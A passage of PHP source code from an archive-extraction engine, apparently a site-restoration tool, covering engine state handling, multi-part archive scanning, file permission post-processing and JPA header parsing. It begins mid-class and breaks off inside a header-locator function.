	private $warnings_pointer = -1;

	/**
	 * The public interface to an engine part. This method takes care for
	 * calling the correct method in order to perform the initialisation -
	 * run - finalisation cycle of operation and return a proper response array.
	 *
	 * @return    array    A Response Array
	 */
	final public function tick()
	{
		// Call the right action method, depending on engine part state
		switch ($this->getState())
		{
			case "init":
				$this->_prepare();
				break;
			case "prepared":
			case "running":
				$this->_run();
				break;
			case "postrun":
				$this->_finalize();
				break;
		}

		// Send a Return Table back to the caller
		$out = $this->_makeReturnTable();

		return $out;
	}

	/**
	 * Returns the state of this engine part.
	 *
	 * @return string The state of this engine part. It can be one of
	 * error, init, prepared, running, postrun, finished.
	 */
	final public function getState()
	{
		if ($this->getError())
		{
			return "error";
		}

		if (!($this->isPrepared))
		{
			return "init";
		}

		if (!($this->isFinished) && !($this->isRunning) && !($this->hasRun) && ($this->isPrepared))
		{
			return "prepared";
		}

		if (!($this->isFinished) && $this->isRunning && !($this->hasRun))
		{
			return "running";
		}

		if (!($this->isFinished) && !($this->isRunning) && $this->hasRun)
		{
			return "postrun";
		}

		if ($this->isFinished)
		{
			return "finished";
		}

		// Unknown internal state. This should never happen.
		return "error";
	}

	/**
	 * Runs the preparation for this part. Should set _isPrepared
	 * to true
	 */
	abstract protected function _prepare();

	/**
	 * Runs the main functionality loop for this part. Upon calling,
	 * should set the _isRunning to true. When it finished, should set
	 * the _hasRan to true. If an error is encountered, setError should
	 * be used.
	 */
	abstract protected function _run();

	/**
	 * Runs the finalisation process for this part. Should set
	 * _isFinished to true.
	 */
	abstract protected function _finalize();

	/**
	 * Constructs a Response Array based on the engine part's state.
	 *
	 * @return array The Response Array for the current state
	 */
	final protected function _makeReturnTable()
	{
		// Get a list of warnings
		$warnings = $this->getWarnings();
		// Report only new warnings if there is no warnings queue size
		if ($this->_warnings_queue_size == 0)
		{
			if (($this->warnings_pointer > 0) && ($this->warnings_pointer < (count($warnings))))
			{
				$warnings = array_slice($warnings, $this->warnings_pointer + 1);
				$this->warnings_pointer += count($warnings);
			}
			else
			{
				$this->warnings_pointer = count($warnings);
			}
		}

		$out = array(
			'HasRun'   => (!($this->isFinished)),
			'Domain'   => $this->active_domain,
			'Step'     => $this->active_step,
			'Substep'  => $this->active_substep,
			'Error'    => $this->getError(),
			'Warnings' => $warnings
		);

		return $out;
	}

	/**
	 * Returns a copy of the class's status array
	 *
	 * @return array
	 */
	public function getStatusArray()
	{
		return $this->_makeReturnTable();
	}

	/**
	 * Sends any kind of setup information to the engine part. Using this,
	 * we avoid passing parameters to the constructor of the class. These
	 * parameters should be passed as an indexed array and should be taken
	 * into account during the preparation process only. This function will
	 * set the error flag if it's called after the engine part is prepared.
	 *
	 * @param array $parametersArray The parameters to be passed to the
	 *                               engine part.
	 */
	final public function setup($parametersArray)
	{
		if ($this->isPrepared)
		{
			$this->setState('error', "Can't modify configuration after the preparation of " . $this->active_domain);
		}
		else
		{
			$this->_parametersArray = $parametersArray;
			if (array_key_exists('root', $parametersArray))
			{
				$this->databaseRoot = $parametersArray['root'];
			}
		}
	}

	/**
	 * Sets the engine part's internal state, in an easy to use manner
	 *
	 * @param    string $state        One of init, prepared, running, postrun, finished, error
	 * @param    string $errorMessage The reported error message, should the state be set to error
	 */
	protected function setState($state = 'init', $errorMessage = 'Invalid setState argument')
	{
		switch ($state)
		{
			case 'init':
				$this->isPrepared = false;
				$this->isRunning  = false;
				$this->isFinished = false;
				$this->hasRun     = false;
				break;

			case 'prepared':
				$this->isPrepared = true;
				$this->isRunning  = false;
				$this->isFinished = false;
				$this->hasRun     = false;
				break;

			case 'running':
				$this->isPrepared = true;
				$this->isRunning  = true;
				$this->isFinished = false;
				$this->hasRun     = false;
				break;

			case 'postrun':
				$this->isPrepared = true;
				$this->isRunning  = false;
				$this->isFinished = false;
				$this->hasRun     = true;
				break;

			case 'finished':
				$this->isPrepared = true;
				$this->isRunning  = false;
				$this->isFinished = true;
				$this->hasRun     = false;
				break;

			case 'error':
			default:
				$this->setError($errorMessage);
				break;
		}
	}

	final public function getDomain()
	{
		return $this->active_domain;
	}

	final public function getStep()
	{
		return $this->active_step;
	}

	final public function getSubstep()
	{
		return $this->active_substep;
	}

	/**
	 * Attaches an observer object
	 *
	 * @param AKAbstractPartObserver $obs
	 */
	function attach(AKAbstractPartObserver $obs)
	{
		$this->observers["$obs"] = $obs;
	}

	/**
	 * Detaches an observer object
	 *
	 * @param AKAbstractPartObserver $obs
	 */
	function detach(AKAbstractPartObserver $obs)
	{
		unset($this->observers["$obs"]);
	}

	/**
	 * Sets the BREAKFLAG, which instructs this engine part that the current step must break immediately,
	 * in fear of timing out.
	 */
	protected function setBreakFlag()
	{
		AKFactory::set('volatile.breakflag', true);
	}

	final protected function setDomain($new_domain)
	{
		$this->active_domain = $new_domain;
	}

	final protected function setStep($new_step)
	{
		$this->active_step = $new_step;
	}

	final protected function setSubstep($new_substep)
	{
		$this->active_substep = $new_substep;
	}

	/**
	 * Notifies observers each time something interesting happened to the part
	 *
	 * @param mixed $message The event object
	 */
	protected function notify($message)
	{
		foreach ($this->observers as $obs)
		{
			$obs->update($this, $message);
		}
	}
}

/**
 * The base class of unarchiver classes
 */
abstract class AKAbstractUnarchiver extends AKAbstractPart
{
	/** @var array List of the names of all archive parts */
	public $archiveList = array();
	/** @var int The total size of all archive parts */
	public $totalSize = array();
	/** @var array Which files to rename */
	public $renameFiles = array();
	/** @var array Which directories to rename */
	public $renameDirs = array();
	/** @var array Which files to skip */
	public $skipFiles = array();
	/** @var string Archive filename */
	protected $filename = null;
	/** @var integer Current archive part number */
	protected $currentPartNumber = -1;
	/** @var integer The offset inside the current part */
	protected $currentPartOffset = 0;
	/** @var bool Should I restore permissions? */
	protected $flagRestorePermissions = false;
	/** @var AKAbstractPostproc Post processing class */
	protected $postProcEngine = null;
	/** @var string Absolute path to prepend to extracted files */
	protected $addPath = '';
	/** @var string Absolute path to remove from extracted files */
	protected $removePath = '';
	/** @var integer Chunk size for processing */
	protected $chunkSize = 524288;

	/** @var resource File pointer to the current archive part file */
	protected $fp = null;

	/** @var int Run state when processing the current archive file */
	protected $runState = null;

	/** @var stdClass File header data, as read by the readFileHeader() method */
	protected $fileHeader = null;

	/** @var int How much of the uncompressed data we've read so far */
	protected $dataReadLength = 0;

	/** @var array Unwriteable files in these directories are always ignored and do not cause errors when not extracted */
	protected $ignoreDirectories = array();

	/**
	 * Wakeup function, called whenever the class is unserialized
	 */
	public function __wakeup()
	{
		if ($this->currentPartNumber >= 0 && !empty($this->archiveList[$this->currentPartNumber]))
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			if ((is_resource($this->fp)) && ($this->currentPartOffset > 0))
			{
				@fseek($this->fp, $this->currentPartOffset);
			}
		}
	}

	/**
	 * Sleep function, called whenever the class is serialized
	 */
	public function shutdown()
	{
		if (is_resource($this->fp))
		{
			$this->currentPartOffset = @ftell($this->fp);
			@fclose($this->fp);
		}
	}

	/**
	 * Is this file or directory contained in a directory we've decided to ignore
	 * write errors for? This is useful to let the extraction work despite write
	 * errors in the log, logs and tmp directories which MIGHT be used by the system
	 * on some low quality hosts and Plesk-powered hosts.
	 *
	 * @param   string $shortFilename The relative path of the file/directory in the package
	 *
	 * @return  boolean  True if it belongs in an ignored directory
	 */
	public function isIgnoredDirectory($shortFilename)
	{
		// return false;

		if (substr($shortFilename, -1) == '/')
		{
			$check = rtrim($shortFilename, '/');
		}
		else
		{
			$check = dirname($shortFilename);
		}

		return in_array($check, $this->ignoreDirectories);
	}

	/**
	 * Implements the abstract _prepare() method
	 */
	final protected function _prepare()
	{
		if (count($this->_parametersArray) > 0)
		{
			foreach ($this->_parametersArray as $key => $value)
			{
				switch ($key)
				{
					// Archive's absolute filename
					case 'filename':
						$this->filename = $value;

						// Sanity check
						if (!empty($value))
						{
							$value = strtolower($value);

							if (strlen($value) > 6)
							{
								if (
									(substr($value, 0, 7) == 'http://')
									|| (substr($value, 0, 8) == 'https://')
									|| (substr($value, 0, 6) == 'ftp://')
									|| (substr($value, 0, 7) == 'ssh2://')
									|| (substr($value, 0, 6) == 'ssl://')
								)
								{
									$this->setState('error', 'Invalid archive location');
								}
							}
						}


						break;

					// Should I restore permissions?
					case 'restore_permissions':
						$this->flagRestorePermissions = $value;
						break;

					// Should I use FTP?
					case 'post_proc':
						$this->postProcEngine = AKFactory::getPostProc($value);
						break;

					// Path to add in the beginning
					case 'add_path':
						$this->addPath = $value;
						$this->addPath = str_replace('\\', '/', $this->addPath);
						$this->addPath = rtrim($this->addPath, '/');
						if (!empty($this->addPath))
						{
							$this->addPath .= '/';
						}
						break;

					// Path to remove from the beginning
					case 'remove_path':
						$this->removePath = $value;
						$this->removePath = str_replace('\\', '/', $this->removePath);
						$this->removePath = rtrim($this->removePath, '/');
						if (!empty($this->removePath))
						{
							$this->removePath .= '/';
						}
						break;

					// Which files to rename (hash array)
					case 'rename_files':
						$this->renameFiles = $value;
						break;

					// Which files to rename (hash array)
					case 'rename_dirs':
						$this->renameDirs = $value;
						break;

					// Which files to skip (indexed array)
					case 'skip_files':
						$this->skipFiles = $value;
						break;

					// Which directories to ignore when we can't write files in them (indexed array)
					case 'ignoredirectories':
						$this->ignoreDirectories = $value;
						break;
				}
			}
		}

		$this->scanArchives();

		$this->readArchiveHeader();
		$errMessage = $this->getError();
		if (!empty($errMessage))
		{
			$this->setState('error', $errMessage);
		}
		else
		{
			$this->runState = AK_STATE_NOFILE;
			$this->setState('prepared');
		}
	}

	/**
	 * Scans for archive parts
	 */
	private function scanArchives()
	{
		if (defined('KSDEBUG'))
		{
			@unlink('debug.txt');
		}
		debugMsg('Preparing to scan archives');

		$privateArchiveList = array();

		// Get the components of the archive filename
		$dirname         = dirname($this->filename);
		$base_extension  = $this->getBaseExtension();
		$basename        = basename($this->filename, $base_extension);
		$this->totalSize = 0;

		// Scan for multiple parts until we don't find any more of them
		$count             = 0;
		$found             = true;
		$this->archiveList = array();
		while ($found)
		{
			++$count;
			$extension = substr($base_extension, 0, 2) . sprintf('%02d', $count);
			$filename  = $dirname . DIRECTORY_SEPARATOR . $basename . $extension;
			$found     = file_exists($filename);
			if ($found)
			{
				debugMsg('- Found archive ' . $filename);
				// Add yet another part, with a numeric-appended filename
				$this->archiveList[] = $filename;

				$filesize = @filesize($filename);
				$this->totalSize += $filesize;

				$privateArchiveList[] = array($filename, $filesize);
			}
			else
			{
				debugMsg('- Found archive ' . $this->filename);
				// Add the last part, with the regular extension
				$this->archiveList[] = $this->filename;

				$filename = $this->filename;
				$filesize = @filesize($filename);
				$this->totalSize += $filesize;

				$privateArchiveList[] = array($filename, $filesize);
			}
		}
		debugMsg('Total archive parts: ' . $count);

		$this->currentPartNumber = -1;
		$this->currentPartOffset = 0;
		$this->runState          = AK_STATE_NOFILE;

		// Send start of file notification
		$message                     = new stdClass;
		$message->type               = 'totalsize';
		$message->content            = new stdClass;
		$message->content->totalsize = $this->totalSize;
		$message->content->filelist  = $privateArchiveList;
		$this->notify($message);
	}

	/**
	 * Returns the base extension of the file, e.g. '.jpa'
	 *
	 * @return string
	 */
	private function getBaseExtension()
	{
		static $baseextension;

		if (empty($baseextension))
		{
			$basename      = basename($this->filename);
			$lastdot       = strrpos($basename, '.');
			$baseextension = substr($basename, $lastdot);
		}

		return $baseextension;
	}

	/**
	 * Concrete classes are supposed to use this method in order to read the archive's header and
	 * prepare themselves to the point of being ready to extract the first file.
	 */
	protected abstract function readArchiveHeader();

	protected function _run()
	{
		if ($this->getState() == 'postrun')
		{
			return;
		}

		$this->setState('running');

		$timer = AKFactory::getTimer();

		$status = true;
		while ($status && ($timer->getTimeLeft() > 0))
		{
			switch ($this->runState)
			{
				case AK_STATE_NOFILE:
					debugMsg(__CLASS__ . '::_run() - Reading file header');
					$status = $this->readFileHeader();
					if ($status)
					{
						// Send start of file notification
						$message                        = new stdClass;
						$message->type                  = 'startfile';
						$message->content               = new stdClass;
						$message->content->realfile     = $this->fileHeader->file;
						$message->content->file         = $this->fileHeader->file;
						$message->content->uncompressed = $this->fileHeader->uncompressed;

						if (array_key_exists('realfile', get_object_vars($this->fileHeader)))
						{
							$message->content->realfile = $this->fileHeader->realFile;
						}

						if (array_key_exists('compressed', get_object_vars($this->fileHeader)))
						{
							$message->content->compressed = $this->fileHeader->compressed;
						}
						else
						{
							$message->content->compressed = 0;
						}

						debugMsg(__CLASS__ . '::_run() - Preparing to extract ' . $message->content->realfile);

						$this->notify($message);
					}
					else
					{
						debugMsg(__CLASS__ . '::_run() - Could not read file header');
					}
					break;

				case AK_STATE_HEADER:
				case AK_STATE_DATA:
					debugMsg(__CLASS__ . '::_run() - Processing file data');
					$status = $this->processFileData();
					break;

				case AK_STATE_DATAREAD:
				case AK_STATE_POSTPROC:
					debugMsg(__CLASS__ . '::_run() - Calling post-processing class');
					$this->postProcEngine->timestamp = $this->fileHeader->timestamp;
					$status                          = $this->postProcEngine->process();
					$this->propagateFromObject($this->postProcEngine);
					$this->runState = AK_STATE_DONE;
					break;

				case AK_STATE_DONE:
				default:
					if ($status)
					{
						debugMsg(__CLASS__ . '::_run() - Finished extracting file');
						// Send end of file notification
						$message          = new stdClass;
						$message->type    = 'endfile';
						$message->content = new stdClass;
						if (array_key_exists('realfile', get_object_vars($this->fileHeader)))
						{
							$message->content->realfile = $this->fileHeader->realFile;
						}
						else
						{
							$message->content->realfile = $this->fileHeader->file;
						}
						$message->content->file = $this->fileHeader->file;
						if (array_key_exists('compressed', get_object_vars($this->fileHeader)))
						{
							$message->content->compressed = $this->fileHeader->compressed;
						}
						else
						{
							$message->content->compressed = 0;
						}
						$message->content->uncompressed = $this->fileHeader->uncompressed;
						$this->notify($message);
					}
					$this->runState = AK_STATE_NOFILE;
					break;
			}
		}

		$error = $this->getError();
		if (!$status && ($this->runState == AK_STATE_NOFILE) && empty($error))
		{
			debugMsg(__CLASS__ . '::_run() - Just finished');
			// We just finished
			$this->setState('postrun');
		}
		elseif (!empty($error))
		{
			debugMsg(__CLASS__ . '::_run() - Halted with an error:');
			debugMsg($error);
			$this->setState('error', $error);
		}
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected abstract function readFileHeader();

	/**
	 * Concrete classes must use this method to process file data. It must set $runState to AK_STATE_DATAREAD when
	 * it's finished processing the file data.
	 *
	 * @return bool True if processing the file data was successful, false if an error occurred
	 */
	protected abstract function processFileData();

	protected function _finalize()
	{
		// Nothing to do
		$this->setState('finished');
	}

	/**
	 * Opens the next part file for reading
	 */
	protected function nextFile()
	{
		debugMsg('Current part is ' . $this->currentPartNumber . '; opening the next part');
		++$this->currentPartNumber;

		if ($this->currentPartNumber > (count($this->archiveList) - 1))
		{
			$this->setState('postrun');

			return false;
		}
		else
		{
			if (is_resource($this->fp))
			{
				@fclose($this->fp);
			}
			debugMsg('Opening file ' . $this->archiveList[$this->currentPartNumber]);
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			if ($this->fp === false)
			{
				debugMsg('Could not open file - crash imminent');
				$this->setError(AKText::sprintf('ERR_COULD_NOT_OPEN_ARCHIVE_PART', $this->archiveList[$this->currentPartNumber]));
			}
			fseek($this->fp, 0);
			$this->currentPartOffset = 0;

			return true;
		}
	}

	/**
	 * Returns true if we have reached the end of file
	 *
	 * @param $local bool True to return EOF of the local file, false (default) to return if we have reached the end of
	 *               the archive set
	 *
	 * @return bool True if we have reached End Of File
	 */
	protected function isEOF($local = false)
	{
		$eof = @feof($this->fp);

		if (!$eof)
		{
			// Border case: right at the part's end (eeeek!!!). For the life of me, I don't understand why
			// feof() doesn't report true. It expects the fp to be positioned *beyond* the EOF to report
			// true. Incredible! :(
			$position = @ftell($this->fp);
			$filesize = @filesize($this->archiveList[$this->currentPartNumber]);
			if ($filesize <= 0)
			{
				// 2Gb or more files on a 32 bit version of PHP tend to get screwed up. Meh.
				$eof = false;
			}
			elseif ($position >= $filesize)
			{
				$eof = true;
			}
		}

		if ($local)
		{
			return $eof;
		}
		else
		{
			return $eof && ($this->currentPartNumber >= (count($this->archiveList) - 1));
		}
	}

	/**
	 * Tries to make a directory user-writable so that we can write a file to it
	 *
	 * @param $path string A path to a file
	 */
	protected function setCorrectPermissions($path)
	{
		static $rootDir = null;

		if (is_null($rootDir))
		{
			$rootDir = rtrim(AKFactory::get('kickstart.setup.destdir', ''), '/\\');
		}

		$directory = rtrim(dirname($path), '/\\');
		if ($directory != $rootDir)
		{
			// Is this an unwritable directory?
			if (!is_writable($directory))
			{
				$this->postProcEngine->chmod($directory, 0755);
			}
		}
		$this->postProcEngine->chmod($path, 0644);
	}

	/**
	 * Reads data from the archive and notifies the observer with the 'reading' message
	 *
	 * @param $fp
	 * @param $length
	 */
	protected function fread($fp, $length = null)
	{
		if (is_numeric($length))
		{
			if ($length > 0)
			{
				$data = fread($fp, $length);
			}
			else
			{
				$data = fread($fp, PHP_INT_MAX);
			}
		}
		else
		{
			$data = fread($fp, PHP_INT_MAX);
		}
		if ($data === false)
		{
			$data = '';
		}

		// Send start of file notification
		$message                  = new stdClass;
		$message->type            = 'reading';
		$message->content         = new stdClass;
		$message->content->length = strlen($data);
		$this->notify($message);

		return $data;
	}

	/**
	 * Removes the configured $removePath from the path $path
	 *
	 * @param   string $path The path to reduce
	 *
	 * @return  string  The reduced path
	 */
	protected function removePath($path)
	{
		if (empty($this->removePath))
		{
			return $path;
		}

		if (strpos($path, $this->removePath) === 0)
		{
			$path = substr($path, strlen($this->removePath));
			$path = ltrim($path, '/\\');
		}

		return $path;
	}
}

/**
 * File post processor engines base class
 */
abstract class AKAbstractPostproc extends AKAbstractObject
{
	/** @var int The UNIX timestamp of the file's desired modification date */
	public $timestamp = 0;
	/** @var string The current (real) file path we'll have to process */
	protected $filename = null;
	/** @var int The requested permissions */
	protected $perms = 0755;
	/** @var string The temporary file path we gave to the unarchiver engine */
	protected $tempFilename = null;

	/**
	 * Processes the current file, e.g. moves it from temp to final location by FTP
	 */
	abstract public function process();

	/**
	 * The unarchiver tells us the path to the filename it wants to extract and we give it
	 * a different path instead.
	 *
	 * @param string $filename The path to the real file
	 * @param int    $perms    The permissions we need the file to have
	 *
	 * @return string The path to the temporary file
	 */
	abstract public function processFilename($filename, $perms = 0755);

	/**
	 * Recursively creates a directory if it doesn't exist
	 *
	 * @param string $dirName The directory to create
	 * @param int    $perms   The permissions to give to that directory
	 */
	abstract public function createDirRecursive($dirName, $perms);

	abstract public function chmod($file, $perms);

	abstract public function unlink($file);

	abstract public function rmdir($directory);

	abstract public function rename($from, $to);
}

/**
 * Descendants of this class can be used in the unarchiver's observer methods (attach, detach and notify)
 *
 * @author Nicholas
 *
 */
abstract class AKAbstractPartObserver
{
	abstract public function update($object, $message);
}

/**
 * Direct file writer
 */
class AKPostprocDirect extends AKAbstractPostproc
{
	public function process()
	{
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);
		if ($restorePerms)
		{
			@chmod($this->filename, $this->perms);
		}
		else
		{
			if (@is_file($this->filename))
			{
				@chmod($this->filename, 0644);
			}
			else
			{
				@chmod($this->filename, 0755);
			}
		}
		if ($this->timestamp > 0)
		{
			@touch($this->filename, $this->timestamp);
		}

		if (substr($this->filename, -4) === '.php')
		{
			$this->clearFileInOPCache($this->filename);
		}

		return true;
	}

	public function processFilename($filename, $perms = 0755)
	{
		$this->perms    = $perms;
		$this->filename = $filename;

		return $filename;
	}

	public function createDirRecursive($dirName, $perms)
	{
		if (AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			return true;
		}
		if (@mkdir($dirName, 0755, true))
		{
			@chmod($dirName, 0755);

			return true;
		}

		$root = AKFactory::get('kickstart.setup.destdir');
		$root = rtrim(str_replace('\\', '/', $root), '/');
		$dir  = rtrim(str_replace('\\', '/', $dirName), '/');
		if (strpos($dir, $root) === 0)
		{
			$dir = ltrim(substr($dir, strlen($root)), '/');
			$root .= '/';
		}
		else
		{
			$root = '';
		}

		if (empty($dir))
		{
			return true;
		}

		$dirArray = explode('/', $dir);
		$path     = '';
		foreach ($dirArray as $dir)
		{
			$path .= $dir . '/';
			$ret = is_dir($root . $path) ? true : @mkdir($root . $path);
			if (!$ret)
			{
				// Is this a file instead of a directory?
				if (is_file($root . $path))
				{
					$this->clearFileInOPCache($root . $path);
					@unlink($root . $path);
					$ret = @mkdir($root . $path);
				}
				if (!$ret)
				{
					$this->setError(AKText::sprintf('COULDNT_CREATE_DIR', $path));

					return false;
				}
			}
			// Try to set new directory permissions to 0755
			@chmod($root . $path, $perms);
		}

		return true;
	}

	public function chmod($file, $perms)
	{
		if (AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			return true;
		}

		return @chmod($file, $perms);
	}

	public function unlink($file)
	{
		$this->clearFileInOPCache($file);

		return @unlink($file);
	}

	public function rmdir($directory)
	{
		return @rmdir($directory);
	}

	public function rename($from, $to)
	{
		$this->clearFileInOPCache($from);
		$ret = @rename($from, $to);
		$this->clearFileInOPCache($to);

		return $ret;
	}

	public function clearFileInOPCache($file){
		if (ini_get('opcache.enable')
			&& function_exists('opcache_invalidate')
			&& (!ini_get('opcache.restrict_api') || stripos(realpath($_SERVER['SCRIPT_FILENAME']), ini_get('opcache.restrict_api')) === 0))
		{
			\opcache_invalidate($file, true);
		}
	}

}

/**
 * JPA archive extraction class
 */
class AKUnarchiverJPA extends AKAbstractUnarchiver
{
	protected $archiveHeaderData = array();

	protected function readArchiveHeader()
	{
		debugMsg('Preparing to read archive header');
		// Initialize header data array
		$this->archiveHeaderData = new stdClass();

		// Open the first part
		debugMsg('Opening the first part');
		$this->nextFile();

		// Fail for unreadable files
		if ($this->fp === false)
		{
			debugMsg('Could not open the first part');

			return false;
		}

		// Read the signature
		$sig = fread($this->fp, 3);

		if ($sig != 'JPA')
		{
			// Not a JPA file
			debugMsg('Invalid archive signature');
			$this->setError(AKText::_('ERR_NOT_A_JPA_FILE'));

			return false;
		}

		// Read and parse header length
		$header_length_array = unpack('v', fread($this->fp, 2));
		$header_length       = $header_length_array[1];

		// Read and parse the known portion of header data (14 bytes)
		$bin_data    = fread($this->fp, 14);
		$header_data = unpack('Cmajor/Cminor/Vcount/Vuncsize/Vcsize', $bin_data);

		// Load any remaining header data (forward compatibility)
		$rest_length = $header_length - 19;

		if ($rest_length > 0)
		{
			$junk = fread($this->fp, $rest_length);
		}
		else
		{
			$junk = '';
		}

		// Temporary array with all the data we read
		$temp = array(
			'signature'        => $sig,
			'length'           => $header_length,
			'major'            => $header_data['major'],
			'minor'            => $header_data['minor'],
			'filecount'        => $header_data['count'],
			'uncompressedsize' => $header_data['uncsize'],
			'compressedsize'   => $header_data['csize'],
			'unknowndata'      => $junk
		);

		// Array-to-object conversion
		foreach ($temp as $key => $value)
		{
			$this->archiveHeaderData->{$key} = $value;
		}

		debugMsg('Header data:');
		debugMsg('Length              : ' . $header_length);
		debugMsg('Major               : ' . $header_data['major']);
		debugMsg('Minor               : ' . $header_data['minor']);
		debugMsg('File count          : ' . $header_data['count']);
		debugMsg('Uncompressed size   : ' . $header_data['uncsize']);
		debugMsg('Compressed size	  : ' . $header_data['csize']);

		$this->currentPartOffset = @ftell($this->fp);

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected function readFileHeader()
	{
		// If the current part is over, proceed to the next part please
		if ($this->isEOF(true))
		{
			debugMsg('Archive part EOF; moving to next file');
			$this->nextFile();
		}

		$this->currentPartOffset = ftell($this->fp);

		debugMsg("Reading file signature; part $this->currentPartNumber, offset $this->currentPartOffset");
		// Get and decode Entity Description Block
		$signature = fread($this->fp, 3);

		$this->fileHeader            = new stdClass();
		$this->fileHeader->timestamp = 0;

		// Check signature
		if ($signature != 'JPF')
		{
			if ($this->isEOF(true))
			{
				// This file is finished; make sure it's the last one
				$this->nextFile();

				if (!$this->isEOF(false))
				{
					debugMsg('Invalid file signature before end of archive encountered');
					$this->setError(AKText::sprintf('INVALID_FILE_HEADER', $this->currentPartNumber, $this->currentPartOffset));

					return false;
				}

				// We're just finished
				return false;
			}
			else
			{
				$screwed = true;

				if (AKFactory::get('kickstart.setup.ignoreerrors', false))
				{
					debugMsg('Invalid file block signature; launching heuristic file block signature scanner');
					$screwed = !$this->heuristicFileHeaderLocator();

					if (!$screwed)
					{
						$signature = 'JPF';
					}
					else
					{
						debugMsg('Heuristics failed. Brace yourself for the imminent crash.');
					}
				}

				if ($screwed)
				{
					debugMsg('Invalid file block signature');
					// This is not a file block! The archive is corrupt.
					$this->setError(AKText::sprintf('INVALID_FILE_HEADER', $this->currentPartNumber, $this->currentPartOffset));

					return false;
				}
			}
		}
		// This a JPA Entity Block. Process the header.

		$isBannedFile = false;

		// Read length of EDB and of the Entity Path Data
		$length_array = unpack('vblocksize/vpathsize', fread($this->fp, 4));
		// Read the path data
		if ($length_array['pathsize'] > 0)
		{
			$file = fread($this->fp, $length_array['pathsize']);
		}
		else
		{
			$file = '';
		}

		// Handle file renaming
		$isRenamed = false;
		if (is_array($this->renameFiles) && (count($this->renameFiles) > 0))
		{
			if (array_key_exists($file, $this->renameFiles))
			{
				$file      = $this->renameFiles[$file];
				$isRenamed = true;
			}
		}

		// Handle directory renaming
		$isDirRenamed = false;
		if (is_array($this->renameDirs) && (count($this->renameDirs) > 0))
		{
			if (array_key_exists(dirname($file), $this->renameDirs))
			{
				$file         = rtrim($this->renameDirs[dirname($file)], '/') . '/' . basename($file);
				$isRenamed    = true;
				$isDirRenamed = true;
			}
		}

		// Read and parse the known data portion
		$bin_data    = fread($this->fp, 14);
		$header_data = unpack('Ctype/Ccompression/Vcompsize/Vuncompsize/Vperms', $bin_data);
		// Read any unknown data
		$restBytes = $length_array['blocksize'] - (21 + $length_array['pathsize']);

		if ($restBytes > 0)
		{
			// Start reading the extra fields
			while ($restBytes >= 4)
			{
				$extra_header_data = fread($this->fp, 4);
				$extra_header      = unpack('vsignature/vlength', $extra_header_data);
				$restBytes -= 4;
				$extra_header['length'] -= 4;

				switch ($extra_header['signature'])
				{
					case 256:
						// File modified timestamp
						if ($extra_header['length'] > 0)
						{
							$bindata = fread($this->fp, $extra_header['length']);
							$restBytes -= $extra_header['length'];
							$timestamps                  = unpack('Vmodified', substr($bindata, 0, 4));
							$filectime                   = $timestamps['modified'];
							$this->fileHeader->timestamp = $filectime;
						}
						break;

					default:
						// Unknown field
						if ($extra_header['length'] > 0)
						{
							$junk = fread($this->fp, $extra_header['length']);
							$restBytes -= $extra_header['length'];
						}
						break;
				}
			}

			if ($restBytes > 0)
			{
				$junk = fread($this->fp, $restBytes);
			}
		}

		$compressionType = $header_data['compression'];

		// Populate the return array
		$this->fileHeader->file         = $file;
		$this->fileHeader->compressed   = $header_data['compsize'];
		$this->fileHeader->uncompressed = $header_data['uncompsize'];

		switch ($header_data['type'])
		{
			case 0:
				$this->fileHeader->type = 'dir';
				break;

			case 1:
				$this->fileHeader->type = 'file';
				break;

			case 2:
				$this->fileHeader->type = 'link';
				break;
		}

		switch ($compressionType)
		{
			case 0:
				$this->fileHeader->compression = 'none';
				break;
			case 1:
				$this->fileHeader->compression = 'gzip';
				break;
			case 2:
				$this->fileHeader->compression = 'bzip2';
				break;
		}

		$this->fileHeader->permissions = $header_data['perms'];

		// Find hard-coded banned files
		if ((basename($this->fileHeader->file) == ".") || (basename($this->fileHeader->file) == ".."))
		{
			$isBannedFile = true;
		}

		// Also try to find banned files passed in class configuration
		if ((count($this->skipFiles) > 0) && (!$isRenamed))
		{
			if (in_array($this->fileHeader->file, $this->skipFiles))
			{
				$isBannedFile = true;
			}
		}

		// If we have a banned file, let's skip it
		if ($isBannedFile)
		{
			debugMsg('Skipping file ' . $this->fileHeader->file);
			// Advance the file pointer, skipping exactly the size of the compressed data
			$seekleft = $this->fileHeader->compressed;
			while ($seekleft > 0)
			{
				// Ensure that we can seek past archive part boundaries
				$curSize = @filesize($this->archiveList[$this->currentPartNumber]);
				$curPos  = @ftell($this->fp);
				$canSeek = $curSize - $curPos;
				if ($canSeek > $seekleft)
				{
					$canSeek = $seekleft;
				}
				@fseek($this->fp, $canSeek, SEEK_CUR);
				$seekleft -= $canSeek;
				if ($seekleft)
				{
					$this->nextFile();
				}
			}

			$this->currentPartOffset = @ftell($this->fp);
			$this->runState          = AK_STATE_DONE;

			return true;
		}

		// Remove the removePath, if any
		$this->fileHeader->file = $this->removePath($this->fileHeader->file);

		// Last chance to prepend a path to the filename
		if (!empty($this->addPath) && !$isDirRenamed)
		{
			$this->fileHeader->file = $this->addPath . $this->fileHeader->file;
		}

		// Get the translated path name
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);
		if ($this->fileHeader->type == 'file')
		{
			// Regular file; ask the postproc engine to process its filename
			if ($restorePerms)
			{
				$this->fileHeader->realFile =
					$this->postProcEngine->processFilename($this->fileHeader->file, $this->fileHeader->permissions);
			}
			else
			{
				$this->fileHeader->realFile = $this->postProcEngine->processFilename($this->fileHeader->file);
			}
		}
		elseif ($this->fileHeader->type == 'dir')
		{
			$dir = $this->fileHeader->file;

			// Directory; just create it
			if ($restorePerms)
			{
				$this->postProcEngine->createDirRecursive($this->fileHeader->file, $this->fileHeader->permissions);
			}
			else
			{
				$this->postProcEngine->createDirRecursive($this->fileHeader->file, 0755);
			}
			$this->postProcEngine->processFilename(null);
		}
		else
		{
			// Symlink; do not post-process
			$this->postProcEngine->processFilename(null);
		}

		$this->createDirectory();

		// Header is read
		$this->runState = AK_STATE_HEADER;

		$this->dataReadLength = 0;

		return true;
	}

	protected function heuristicFileHeaderLocator()
	{
		$ret     = false;
		$fullEOF = false;

